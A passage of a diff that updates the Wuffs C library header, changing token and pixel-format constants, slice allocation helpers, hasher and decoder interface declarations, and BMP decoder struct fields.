WUFFS_BASE__TOKEN__VBC__UNICODE_CODE_POINT 3 ++#define WUFFS_BASE__TOKEN__VBC__LITERAL 4 ++#define WUFFS_BASE__TOKEN__VBC__NUMBER 5 ++#define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_SIGNED 6 + #define WUFFS_BASE__TOKEN__VBC__INLINE_INTEGER_UNSIGNED 7 + + // -------- + +-#define WUFFS_BASE__TOKEN__VBD__FILLER__PUNCTUATION 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__FILLER__PUNCTUATION 0x00001 + #define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_BLOCK 0x00002 +-#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_LINE 0x00004 ++#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_LINE 0x00004 + + // COMMENT_ANY is a bit-wise or of COMMENT_BLOCK AND COMMENT_LINE. +-#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_ANY 0x00006 ++#define WUFFS_BASE__TOKEN__VBD__FILLER__COMMENT_ANY 0x00006 + + // -------- + +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__PUSH 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__POP 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__PUSH 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__POP 0x00002 + #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_NONE 0x00010 + #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_LIST 0x00020 + #define WUFFS_BASE__TOKEN__VBD__STRUCTURE__FROM_DICT 0x00040 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE 0x01000 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST 0x02000 +-#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT 0x04000 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_NONE 0x01000 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_LIST 0x02000 ++#define WUFFS_BASE__TOKEN__VBD__STRUCTURE__TO_DICT 0x04000 + + // -------- + +@@ -3245,11 +3469,11 @@ wuffs_base__make_token(uint64_t repr) { + // + // The lack of any particular bit is conservative: it is valid for all-ASCII + // strings, in a single- or multi-token chain, to have none of these bits set. +-#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_UTF_8 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_UTF_8 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_UTF_8 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_UTF_8 0x00002 + #define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_SHOULD_BE_UTF_8 0x00004 +-#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_ASCII 0x00010 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_ASCII 0x00020 ++#define WUFFS_BASE__TOKEN__VBD__STRING__DEFINITELY_ASCII 0x00010 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_MUST_BE_ASCII 0x00020 + #define WUFFS_BASE__TOKEN__VBD__STRING__CHAIN_SHOULD_BE_ASCII 0x00040 + + // CONVERT_D_DST_S_SRC means that multiples of S source bytes (possibly padded) +@@ -3264,22 +3488,22 @@ wuffs_base__make_token(uint64_t repr) { + // When src is the empty string, multiple conversion algorithms are applicable + // (so these bits are not necessarily mutually exclusive), all producing the + // same empty dst string. +-#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_0_DST_1_SRC_DROP 0x00100 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_1_SRC_COPY 0x00200 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_0_DST_1_SRC_DROP 0x00100 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_1_SRC_COPY 0x00200 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_2_SRC_HEXADECIMAL 0x00400 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_1_DST_4_SRC_BACKSLASH_X 0x00800 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_3_DST_4_SRC_BASE_64_STD 0x01000 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_3_DST_4_SRC_BASE_64_URL 0x02000 +-#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_4_DST_5_SRC_ASCII_85 0x04000 ++#define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_4_DST_5_SRC_ASCII_85 0x04000 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_5_DST_8_SRC_BASE_32_HEX 0x08000 + #define WUFFS_BASE__TOKEN__VBD__STRING__CONVERT_5_DST_8_SRC_BASE_32_STD 0x10000 + + // -------- + + #define WUFFS_BASE__TOKEN__VBD__LITERAL__UNDEFINED 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__LITERAL__NULL 0x00002 +-#define WUFFS_BASE__TOKEN__VBD__LITERAL__FALSE 0x00004 +-#define WUFFS_BASE__TOKEN__VBD__LITERAL__TRUE 0x00008 ++#define WUFFS_BASE__TOKEN__VBD__LITERAL__NULL 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__LITERAL__FALSE 0x00004 ++#define WUFFS_BASE__TOKEN__VBD__LITERAL__TRUE 0x00008 + + // -------- + +@@ -3292,8 +3516,8 @@ wuffs_base__make_token(uint64_t repr) { + // For a source string of "+123" or "-0x9A", only the first two are valid. + // + // For a source string of "123.", only the first one is valid. +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_FLOATING_POINT 0x00001 +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_SIGNED 0x00002 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_FLOATING_POINT 0x00001 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_SIGNED 0x00002 + #define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_INTEGER_UNSIGNED 0x00004 + + #define WUFFS_BASE__TOKEN__VBD__NUMBER__CONTENT_NEG_INF 0x00010 +@@ -3305,11 +3529,15 @@ wuffs_base__make_token(uint64_t repr) { + // "300", which are big-endian, little-endian or text. For binary formats, the + // token length (after adjusting for FORMAT_IGNORE_ETC) discriminates + // e.g. u16 little-endian vs u32 little-endian. +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_BIG_ENDIAN 0x00100 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_BIG_ENDIAN 0x00100 + #define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_BINARY_LITTLE_ENDIAN 0x00200 +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_TEXT 0x00400 ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_TEXT 0x00400 ++ ++#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_IGNORE_FIRST_BYTE 0x01000 ++ ++// -------- + +-#define WUFFS_BASE__TOKEN__VBD__NUMBER__FORMAT_IGNORE_FIRST_BYTE 0x01000 ++// clang-format on + + // -------- + +@@ -3421,6 +3649,22 @@ wuffs_base__token::length() const { + + // -------- + ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wcast-qual" ++#endif ++ ++static inline wuffs_base__token* // ++wuffs_base__strip_const_from_token_ptr(const wuffs_base__token* ptr) { ++ return (wuffs_base__token*)ptr; ++} ++ ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ ++// -------- ++ + typedef WUFFS_BASE__SLICE(wuffs_base__token) wuffs_base__slice_token; + + static inline wuffs_base__slice_token // +@@ -3574,7 +3818,8 @@ wuffs_base__token_buffer__compact(wuffs_base__token_buffer* buf) { + // wuffs_base__token_buffer__compact_retaining moves any written but unread + // tokens closer to the start of the buffer. It retains H tokens of history + // (the most recently read tokens), where H is min(buf->meta.ri, +-// history_retain_length). A postcondition is that buf->meta.ri == H. ++// history_retain_length). It is therefore a no-op if history_retain_length is ++// UINT64_MAX. A postcondition is that buf->meta.ri == H. + // + // wuffs_base__token_buffer__compact_retaining(0) is equivalent to + // wuffs_base__token_buffer__compact(). +@@ -3730,51 +3975,51 @@ wuffs_base__token_buffer::writer_token_position() const { + // + // You can pass the C stdlib's malloc as the malloc_func. + // +-// It returns an empty slice (containing a NULL ptr field) if (num_uxx * +-// sizeof(uintxx_t)) would overflow SIZE_MAX. ++// It returns an empty slice (containing a NULL ptr field) if num_uxx is zero ++// or if (num_uxx * sizeof(uintxx_t)) would overflow SIZE_MAX. + + static inline wuffs_base__slice_u8 // + wuffs_base__malloc_slice_u8(void* (*malloc_func)(size_t), uint64_t num_u8) { +- if (malloc_func && (num_u8 <= (SIZE_MAX / sizeof(uint8_t)))) { ++ if (malloc_func && num_u8 && (num_u8 <= (SIZE_MAX / sizeof(uint8_t)))) { + void* p = (*malloc_func)((size_t)(num_u8 * sizeof(uint8_t))); + if (p) { + return wuffs_base__make_slice_u8((uint8_t*)(p), (size_t)num_u8); + } + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + static inline wuffs_base__slice_u16 // + wuffs_base__malloc_slice_u16(void* (*malloc_func)(size_t), uint64_t num_u16) { +- if (malloc_func && (num_u16 <= (SIZE_MAX / sizeof(uint16_t)))) { ++ if (malloc_func && num_u16 && (num_u16 <= (SIZE_MAX / sizeof(uint16_t)))) { + void* p = (*malloc_func)((size_t)(num_u16 * sizeof(uint16_t))); + if (p) { + return wuffs_base__make_slice_u16((uint16_t*)(p), (size_t)num_u16); + } + } +- return wuffs_base__make_slice_u16(NULL, 0); ++ return wuffs_base__empty_slice_u16(); + } + + static inline wuffs_base__slice_u32 // + wuffs_base__malloc_slice_u32(void* (*malloc_func)(size_t), uint64_t num_u32) { +- if (malloc_func && (num_u32 <= (SIZE_MAX / sizeof(uint32_t)))) { ++ if (malloc_func && num_u32 && (num_u32 <= (SIZE_MAX / sizeof(uint32_t)))) { + void* p = (*malloc_func)((size_t)(num_u32 * sizeof(uint32_t))); + if (p) { + return wuffs_base__make_slice_u32((uint32_t*)(p), (size_t)num_u32); + } + } +- return wuffs_base__make_slice_u32(NULL, 0); ++ return wuffs_base__empty_slice_u32(); + } + + static inline wuffs_base__slice_u64 // + wuffs_base__malloc_slice_u64(void* (*malloc_func)(size_t), uint64_t num_u64) { +- if (malloc_func && (num_u64 <= (SIZE_MAX / sizeof(uint64_t)))) { ++ if (malloc_func && num_u64 && (num_u64 <= (SIZE_MAX / sizeof(uint64_t)))) { + void* p = (*malloc_func)((size_t)(num_u64 * sizeof(uint64_t))); + if (p) { + return wuffs_base__make_slice_u64((uint64_t*)(p), (size_t)num_u64); + } + } +- return wuffs_base__make_slice_u64(NULL, 0); ++ return wuffs_base__empty_slice_u64(); + } + + // ---------------- Images +@@ -3838,6 +4083,26 @@ wuffs_base__color_u32_argb_premul__as__color_u8_gray( + return (uint8_t)(weighted_average >> 24); + } + ++static inline uint16_t // ++wuffs_base__color_u32_argb_premul__as__color_u16_alpha_gray_nonpremul( ++ wuffs_base__color_u32_argb_premul c) { ++ uint32_t a = 0xFF & (c >> 24); ++ if (a == 0) { ++ return 0; ++ } ++ uint32_t a16 = a * 0x101; ++ ++ uint32_t cr = 0xFF & (c >> 16); ++ cr = (cr * (0x101 * 0xFFFF)) / a16; ++ uint32_t cg = 0xFF & (c >> 8); ++ cg = (cg * (0x101 * 0xFFFF)) / a16; ++ uint32_t cb = 0xFF & (c >> 0); ++ cb = (cb * (0x101 * 0xFFFF)) / a16; ++ ++ uint32_t weighted_average = (19595 * cr) + (38470 * cg) + (7471 * cb) + 32768; ++ return (uint16_t)((a16 & 0xFF00) | (weighted_average >> 24)); ++} ++ + static inline uint16_t // + wuffs_base__color_u32_argb_premul__as__color_u16_gray( + wuffs_base__color_u32_argb_premul c) { +@@ -4114,49 +4379,53 @@ wuffs_base__make_pixel_format(uint32_t repr) { + // Common 8-bit-depth pixel formats. This list is not exhaustive; not all valid + // wuffs_base__pixel_format values are present. + +-#define WUFFS_BASE__PIXEL_FORMAT__INVALID 0x00000000 ++// clang-format off ++ ++#define WUFFS_BASE__PIXEL_FORMAT__INVALID 0x00000000 + +-#define WUFFS_BASE__PIXEL_FORMAT__A 0x02000008 ++#define WUFFS_BASE__PIXEL_FORMAT__A 0x02000008 + +-#define WUFFS_BASE__PIXEL_FORMAT__Y 0x20000008 +-#define WUFFS_BASE__PIXEL_FORMAT__Y_16LE 0x2000000B +-#define WUFFS_BASE__PIXEL_FORMAT__Y_16BE 0x2010000B +-#define WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL 0x21000008 +-#define WUFFS_BASE__PIXEL_FORMAT__YA_PREMUL 0x22000008 ++#define WUFFS_BASE__PIXEL_FORMAT__Y 0x20000008 ++#define WUFFS_BASE__PIXEL_FORMAT__Y_16LE 0x2000000B ++#define WUFFS_BASE__PIXEL_FORMAT__Y_16BE 0x2010000B ++#define WUFFS_BASE__PIXEL_FORMAT__YA_NONPREMUL 0x21000088 ++#define WUFFS_BASE__PIXEL_FORMAT__YA_PREMUL 0x22000088 + +-#define WUFFS_BASE__PIXEL_FORMAT__YCBCR 0x40020888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCBCRA_NONPREMUL 0x41038888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCBCRK 0x50038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCBCR 0x40020888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCBCRA_NONPREMUL 0x41038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCBCRK 0x50038888 + +-#define WUFFS_BASE__PIXEL_FORMAT__YCOCG 0x60020888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCOCGA_NONPREMUL 0x61038888 +-#define WUFFS_BASE__PIXEL_FORMAT__YCOCGK 0x70038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCOCG 0x60020888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCOCGA_NONPREMUL 0x61038888 ++#define WUFFS_BASE__PIXEL_FORMAT__YCOCGK 0x70038888 + +-#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL 0x81040008 +-#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL 0x82040008 +-#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY 0x83040008 ++#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_NONPREMUL 0x81040008 ++#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_PREMUL 0x82040008 ++#define WUFFS_BASE__PIXEL_FORMAT__INDEXED__BGRA_BINARY 0x83040008 + +-#define WUFFS_BASE__PIXEL_FORMAT__BGR_565 0x80000565 +-#define WUFFS_BASE__PIXEL_FORMAT__BGR 0x80000888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL 0x81008888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE 0x8100BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL 0x82008888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE 0x8200BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY 0x83008888 +-#define WUFFS_BASE__PIXEL_FORMAT__BGRX 0x90008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGR_565 0x80000565 ++#define WUFFS_BASE__PIXEL_FORMAT__BGR 0x80000888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL 0x81008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_NONPREMUL_4X16LE 0x8100BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL 0x82008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_PREMUL_4X16LE 0x8200BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__BGRA_BINARY 0x83008888 ++#define WUFFS_BASE__PIXEL_FORMAT__BGRX 0x90008888 + +-#define WUFFS_BASE__PIXEL_FORMAT__RGB 0xA0000888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL 0xA1008888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE 0xA100BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL 0xA2008888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE 0xA200BBBB +-#define WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY 0xA3008888 +-#define WUFFS_BASE__PIXEL_FORMAT__RGBX 0xB0008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGB 0xA0000888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL 0xA1008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_NONPREMUL_4X16LE 0xA100BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL 0xA2008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_PREMUL_4X16LE 0xA200BBBB ++#define WUFFS_BASE__PIXEL_FORMAT__RGBA_BINARY 0xA3008888 ++#define WUFFS_BASE__PIXEL_FORMAT__RGBX 0xB0008888 + +-#define WUFFS_BASE__PIXEL_FORMAT__CMY 0xC0020888 +-#define WUFFS_BASE__PIXEL_FORMAT__CMYK 0xD0038888 ++#define WUFFS_BASE__PIXEL_FORMAT__CMY 0xC0020888 ++#define WUFFS_BASE__PIXEL_FORMAT__CMYK 0xD0038888 + +-extern const uint32_t wuffs_base__pixel_format__bits_per_channel[16]; ++// clang-format on ++ ++extern const uint32_t wuffs_private_impl__pixel_format__bits_per_channel[16]; + + static inline bool // + wuffs_base__pixel_format__is_valid(const wuffs_base__pixel_format* f) { +@@ -4170,10 +4439,14 @@ wuffs_base__pixel_format__bits_per_pixel(const wuffs_base__pixel_format* f) { + if (((f->repr >> 16) & 0x03) != 0) { + return 0; + } +- return wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 0)] + +- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 4)] + +- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 8)] + +- wuffs_base__pixel_format__bits_per_channel[0x0F & (f->repr >> 12)]; ++ return wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 0)] + ++ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 4)] + ++ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 8)] + ++ wuffs_private_impl__pixel_format__bits_per_channel[0x0F & ++ (f->repr >> 12)]; + } + + static inline bool // +@@ -4391,15 +4664,20 @@ wuffs_base__pixel_config__set(wuffs_base__pixel_config* c, + return; + } + if (pixfmt_repr) { +- uint64_t wh = ((uint64_t)width) * ((uint64_t)height); +- // TODO: handle things other than 1 byte per pixel. +- if (wh <= ((uint64_t)SIZE_MAX)) { ++ do { ++#if SIZE_MAX < 0xFFFFFFFFFFFFFFFFull ++ uint64_t wh = ((uint64_t)width) * ((uint64_t)height); ++ // TODO: handle things other than 1 byte per pixel. ++ if (wh > ((uint64_t)SIZE_MAX)) { ++ break; ++ } ++#endif + c->private_impl.pixfmt.repr = pixfmt_repr; + c->private_impl.pixsub.repr = pixsub_repr; + c->private_impl.width = width; + c->private_impl.height = height; + return; +- } ++ } while (0); + } + + c->private_impl.pixfmt.repr = 0; +@@ -5117,7 +5395,7 @@ wuffs_base__pixel_buffer__palette(wuffs_base__pixel_buffer* pb) { + tab->ptr, WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH); + } + } +- return wuffs_base__make_slice_u8(NULL, 0); ++ return wuffs_base__empty_slice_u8(); + } + + static inline wuffs_base__slice_u8 // +@@ -6202,6 +6480,113 @@ struct wuffs_base__hasher_u64__struct { + + // -------- + ++extern const char wuffs_base__hasher_bitvec256__vtable_name[]; ++ ++typedef struct wuffs_base__hasher_bitvec256__func_ptrs__struct { ++ wuffs_base__bitvec256 (*checksum_bitvec256)( ++ const void* self); ++ uint64_t (*get_quirk)( ++ const void* self, ++ uint32_t a_key); ++ wuffs_base__status (*set_quirk)( ++ void* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ wuffs_base__empty_struct (*update)( ++ void* self, ++ wuffs_base__slice_u8 a_x); ++ wuffs_base__bitvec256 (*update_bitvec256)( ++ void* self, ++ wuffs_base__slice_u8 a_x); ++} wuffs_base__hasher_bitvec256__func_ptrs; ++ ++typedef struct wuffs_base__hasher_bitvec256__struct wuffs_base__hasher_bitvec256; ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__checksum_bitvec256( ++ const wuffs_base__hasher_bitvec256* self); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_base__hasher_bitvec256__get_quirk( ++ const wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_base__hasher_bitvec256__set_quirk( ++ wuffs_base__hasher_bitvec256* self, ++ uint32_t a_key, ++ uint64_t a_value); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_base__hasher_bitvec256__update( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x); ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_base__hasher_bitvec256__update_bitvec256( ++ wuffs_base__hasher_bitvec256* self, ++ wuffs_base__slice_u8 a_x); ++ ++#if defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++struct wuffs_base__hasher_bitvec256__struct { ++ struct { ++ uint32_t magic; ++ uint32_t active_coroutine; ++ wuffs_base__vtable first_vtable; ++ } private_impl; ++ ++#ifdef __cplusplus ++#if defined(WUFFS_BASE__HAVE_UNIQUE_PTR) ++ using unique_ptr = std::unique_ptr; ++#endif ++ ++ inline wuffs_base__bitvec256 ++ checksum_bitvec256() const { ++ return wuffs_base__hasher_bitvec256__checksum_bitvec256(this); ++ } ++ ++ inline uint64_t ++ get_quirk( ++ uint32_t a_key) const { ++ return wuffs_base__hasher_bitvec256__get_quirk( ++ this, a_key); ++ } ++ ++ inline wuffs_base__status ++ set_quirk( ++ uint32_t a_key, ++ uint64_t a_value) { ++ return wuffs_base__hasher_bitvec256__set_quirk( ++ this, a_key, a_value); ++ } ++ ++ inline wuffs_base__empty_struct ++ update( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_base__hasher_bitvec256__update( ++ this, a_x); ++ } ++ ++ inline wuffs_base__bitvec256 ++ update_bitvec256( ++ wuffs_base__slice_u8 a_x) { ++ return wuffs_base__hasher_bitvec256__update_bitvec256( ++ this, a_x); ++ } ++ ++#endif // __cplusplus ++}; // struct wuffs_base__hasher_bitvec256__struct ++ ++#endif // defined(__cplusplus) || defined(WUFFS_IMPLEMENTATION) ++ ++// -------- ++ + extern const char wuffs_base__image_decoder__vtable_name[]; + + typedef struct wuffs_base__image_decoder__func_ptrs__struct { +@@ -6225,8 +6610,6 @@ typedef struct wuffs_base__image_decoder__func_ptrs__struct { + uint64_t (*get_quirk)( + const void* self, + uint32_t a_key); +- uint64_t (*history_retain_length)( +- const void* self); + uint32_t (*num_animation_loops)( + const void* self); + uint64_t (*num_decoded_frame_configs)( +@@ -6291,11 +6674,6 @@ wuffs_base__image_decoder__get_quirk( + const wuffs_base__image_decoder* self, + uint32_t a_key); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__image_decoder__history_retain_length( +- const wuffs_base__image_decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint32_t + wuffs_base__image_decoder__num_animation_loops( +@@ -6398,11 +6776,6 @@ struct wuffs_base__image_decoder__struct { + this, a_key); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_base__image_decoder__history_retain_length(this); +- } +- + inline uint32_t + num_animation_loops() const { + return wuffs_base__image_decoder__num_animation_loops(this); +@@ -6466,11 +6839,11 @@ struct wuffs_base__image_decoder__struct { + extern const char wuffs_base__io_transformer__vtable_name[]; + + typedef struct wuffs_base__io_transformer__func_ptrs__struct { ++ wuffs_base__optional_u63 (*dst_history_retain_length)( ++ const void* self); + uint64_t (*get_quirk)( + const void* self, + uint32_t a_key); +- uint64_t (*history_retain_length)( +- const void* self); + wuffs_base__status (*set_quirk)( + void* self, + uint32_t a_key, +@@ -6486,17 +6859,17 @@ typedef struct wuffs_base__io_transformer__func_ptrs__struct { + + typedef struct wuffs_base__io_transformer__struct wuffs_base__io_transformer; + ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__optional_u63 ++wuffs_base__io_transformer__dst_history_retain_length( ++ const wuffs_base__io_transformer* self); ++ + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC uint64_t + wuffs_base__io_transformer__get_quirk( + const wuffs_base__io_transformer* self, + uint32_t a_key); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__io_transformer__history_retain_length( +- const wuffs_base__io_transformer* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status + wuffs_base__io_transformer__set_quirk( +@@ -6531,6 +6904,11 @@ struct wuffs_base__io_transformer__struct { + using unique_ptr = std::unique_ptr; + #endif + ++ inline wuffs_base__optional_u63 ++ dst_history_retain_length() const { ++ return wuffs_base__io_transformer__dst_history_retain_length(this); ++ } ++ + inline uint64_t + get_quirk( + uint32_t a_key) const { +@@ -6538,11 +6916,6 @@ struct wuffs_base__io_transformer__struct { + this, a_key); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_base__io_transformer__history_retain_length(this); +- } +- + inline wuffs_base__status + set_quirk( + uint32_t a_key, +@@ -6583,8 +6956,6 @@ typedef struct wuffs_base__token_decoder__func_ptrs__struct { + uint64_t (*get_quirk)( + const void* self, + uint32_t a_key); +- uint64_t (*history_retain_length)( +- const void* self); + wuffs_base__status (*set_quirk)( + void* self, + uint32_t a_key, +@@ -6609,11 +6980,6 @@ wuffs_base__token_decoder__get_quirk( + const wuffs_base__token_decoder* self, + uint32_t a_key); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_base__token_decoder__history_retain_length( +- const wuffs_base__token_decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__status + wuffs_base__token_decoder__set_quirk( +@@ -6656,11 +7022,6 @@ struct wuffs_base__token_decoder__struct { + this, a_key); + } + +- inline uint64_t +- history_retain_length() const { +- return wuffs_base__token_decoder__history_retain_length(this); +- } +- + inline wuffs_base__status + set_quirk( + uint32_t a_key, +@@ -6918,9 +7279,7 @@ extern const char wuffs_bmp__error__unsupported_bmp_file[]; + + // ---------------- Public Consts + +-#define WUFFS_BMP__DECODER_HISTORY_RETAIN_LENGTH_MAX_INCL_WORST_CASE 0 +- +-#define WUFFS_BMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0 ++#define WUFFS_BMP__DECODER_WORKBUF_LEN_MAX_INCL_WORST_CASE 0u + + // ---------------- Struct Declarations + +@@ -7053,11 +7412,6 @@ wuffs_bmp__decoder__tell_me_more( + wuffs_base__more_information* a_minfo, + wuffs_base__io_buffer* a_src); + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_bmp__decoder__history_retain_length( +- const wuffs_bmp__decoder* self); +- + WUFFS_BASE__GENERATED_C_CODE + WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 + wuffs_bmp__decoder__workbuf_len( +@@ -7116,14 +7470,14 @@ struct wuffs_bmp__decoder__struct { + bool f_rle_padded; + wuffs_base__pixel_swizzler f_swizzler; + +- uint32_t p_decode_image_config[1]; +- uint32_t p_do_decode_image_config[1]; +- uint32_t p_decode_frame_config[1]; +- uint32_t p_do_decode_frame_config[1]; +- uint32_t p_decode_frame[1]; +- uint32_t p_do_decode_frame[1]; +- uint32_t p_tell_me_more[1]; +- uint32_t p_read_palette[1]; ++ uint32_t p_decode_image_config; ++ uint32_t p_do_decode_image_config; ++ uint32_t p_decode_frame_config; ++ uint32_t p_do_decode_frame_config; ++ uint32_t p_decode_frame; ++ uint32_t p_do_decode_frame; ++ uint32_t p_tell_me_more; ++ uint32_t p_read_palette; + } private_impl; + + struct { +@@ -7132,14 +7486,14 @@ struct wuffs_bmp__decoder__struct { + + struct { + uint64_t scratch; +- } s_do_decode_image_config[1]; ++ } s_do_decode_image_config; + struct { + uint64_t scratch; +- } s_do_decode_frame[1]; ++ } s_do_decode_frame; + struct { + uint32_t v_i; + uint64_t scratch; +- } s_read_palette[1]; ++ } s_read_palette; + } private_data; + + 